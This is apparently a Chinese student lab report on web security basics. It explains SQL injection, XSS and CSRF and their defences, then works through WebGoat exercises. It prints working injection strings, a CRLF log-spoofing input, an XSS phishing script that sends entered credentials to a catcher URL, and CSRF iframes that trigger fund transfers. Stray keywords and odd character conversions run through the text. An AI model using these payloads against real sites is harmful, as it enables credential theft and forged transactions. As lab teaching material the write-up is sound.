Exp9 web安全基礎

1.SQL注入攻擊原理,如何防護?java

      定義:SQL注入便是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。web

SQL注入產生的緣由,和棧溢出、XSS等不少其餘的攻擊方法相似,就是 未經檢查或者未經充分檢查用戶輸入數據意外變成了代碼被執行。針對於SQL注入,則是用戶提交的數據,被數據庫系統編譯而產生了開發者預期以外的動做。也就是,SQL注入是用戶輸入的 數據,在拼接SQL語句的過程當中,超越了數據自己,成爲了SQL語句查詢邏輯的一部分,而後這樣被拼接出來的SQL語句被數據庫執行,產生了開發者預期以外的動做。

如圖簡要說明:正則表達式

 

●SQL注入威脅表現形式能夠體現爲如下幾點:sql

        ●繞過認證,得到非法權限數據庫

        ●猜解後臺數據庫所有的信息django

        ●注入能夠藉助數據庫的存儲過程進行提權等操做編程

●SQL注入攻擊的典型手段瀏覽器

        ●判斷應用程序是否存在注入漏洞安全

        ●收集信息、並判斷數據庫類型服務器

        ●根據注入參數類型,重構SQL語句的原貌

        ●猜解表名、字段名

        ●獲取帳戶信息、攻擊web或爲下一步攻擊作準備

如何防範:

因此從根本上防止sql注入,仍是避免數據變成代碼被執行,時刻分清代碼和數據的界限。而具體到SQL注入來講,被執行的惡意代碼是經過數據庫的SQL解釋引擎編譯獲得的,因此只要避免用戶輸入的數據被數據庫系統編譯就能夠了。

如:

  1. PreparedStatement
  2. 使用正則表達式過濾傳入的參數
  3. JSP中調用該函數檢查是否包函非法字符
  4. JSP頁面判斷代碼
  5. 字符串過濾

二、XSS攻擊的原理,如何防護?

xss 跨站腳本攻擊(Cross Site Scripting),爲了避免和層疊樣式表(Cascading Style Sheets,CSS)縮寫混淆,因此將跨站腳本攻擊縮寫爲xss。

整體來講,XSS分三類,存儲型XSS、反射型XSS、DOM-XSS。

 

存儲型XSS

存儲型的攻擊腳本被存儲到了數據庫或者文件中,服務端在讀取了存儲的內容回顯了。就是存儲型。這種狀況下用戶直接打開正常的頁面就會看到被注入
流程以下:
壞人把惡意的XSS代碼提交網站--->網站把XSS代碼存儲進數據庫--->當頁面再次被其餘正經常使用戶請求時,服務器發送已經被植入XSS代碼的數據給客戶端--->客戶端執行XSS代碼



反射型XSS

將用戶輸入的存在XSS攻擊的數據,發送給後臺,後臺並未對數據進行存儲,也未通過任何過濾,直接返回給客戶端。被瀏覽器渲染。就可能致使XSS攻擊;

反射型XSS,是最經常使用的,使用最廣的一種方式。經過給別人發送有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數唄HTML解析、執行。
它的特色:是非持久化,必須用戶點擊帶有特定參數的連接才能引發 

DOM-XSS

DOM-based XSS漏洞是基於文檔對象模型Document Objeet Model 的一種漏洞。DOM是一個與平臺、編程語言無關的藉口,它容許程序或腳本動態的訪問或者更新文檔內容、結構和樣式,處理後的結果可以成爲顯示頁面的一部分。DOM中有不少對象,其中一些事用戶能夠操做的.客戶端的腳本程序能夠經過DOM動態地檢查和修改頁面內容,它不依賴於提交數據到服務器端,而從客戶端得到DOM中的數據在本地執行,若是DOM中的數據沒有通過嚴格的確認,就會產生DOM-based XSS漏洞。

防護手段:

xss的防護

如今的XSS如此流行,緣由何在。我想你們應該都知道,就是在輸入的時候沒有作嚴格的過濾,而在輸出的時候,也沒有進行檢查,轉義,替換等
因此防範的方法就是,不信任任何用戶的輸入,對每一個用戶的輸入都作嚴格檢查,過濾,在輸出的時候,對某些特殊字符進行轉義,替換等

3.CSRF攻擊原理,如何防護?

(Cross Site Request Forgery, 跨站域請求僞造)是一種網絡的攻擊方式,它在 2007 年曾被列爲互聯網 20 大安全隱患之一,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用也就是人們所知道的釣魚網站。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,而且攻擊方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。

防護:

在業界目前防護 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 並驗證;在 HTTP 頭中自定義屬性並驗證

實驗過程:

第一階段

  • 1.首先咱們來安裝一個學習系統Webgoat。在百度雲上下載壓縮包,而後拷入kali中,並在壓縮包目錄中使用java -jar webgoat-container-7.1-exec.jar這條指令。

 

而後打開火狐瀏覽器

就像攻關同樣能夠聯繫左側的題目,英文很差的自備翻譯軟件:

String SQL Injection(字符注入):

 

 

而後根據文本框下面的數據庫語言,咱們在文本框中輸入'or 1='1,即在數據庫語言中造成了名字=''(空集,即全部)or 1=’1(永真式)的判斷,結果是會顯示全部的用戶信息。

Log Spoofing(日誌欺騙):

 

咱們構造一個惡意的字符串

xm%0d%0aLogin Succeeded for username: admin

複製到user name 文本框中,密碼隨意輸入,即可登錄admin。

XPATH Injection(XPATH注入):

輸入xm' or 1=1 or 'a'='a和xm,而後能夠看到攻擊成功

 

 

LAB: SQL Injection

使用數據庫注入來繞過身份驗證,即不須要密碼就能夠登錄。

使用用戶Nevile進行登錄,注入的代碼’or 1='1

Numeric SQL Injection(數字數據庫注入)

XSS

Phishing with XSS

  • 跨站腳本攻擊,在表單中輸入超文本代碼XSS能夠劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,模擬用戶當前的操做。這裏實驗模擬獲取用戶名和密碼的攻擊在文本框裏面輸入一個釣魚網站代碼</form>

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
 

 

 

 

 

Stored XSS Attacks

目的是建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容

在Message中構造語句<script>alert("you are a bad guys");</script>,提交後,能夠發現剛剛建立的彈窗

 

Reflected XSS Attacks

 

Cross Site Request Forgery(CSRF)

目的是發送一個惡意URL請求的圖片給用戶。在message框裏輸入一段文字,文字裏包含了惡意圖片。

 

 

CSRF Prompt By-Pass

 

在信息框中輸入:

<iframe src="attack?Screen=src290&menu=menu900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=src290&menu=menu900&transferFunds=CONFIRM"> </iframe>

 

 

實驗體會:

深入覺的本身對與web的知識瞭解甚少,基礎知識有待提升。。。。

相關文章
相關標籤/搜索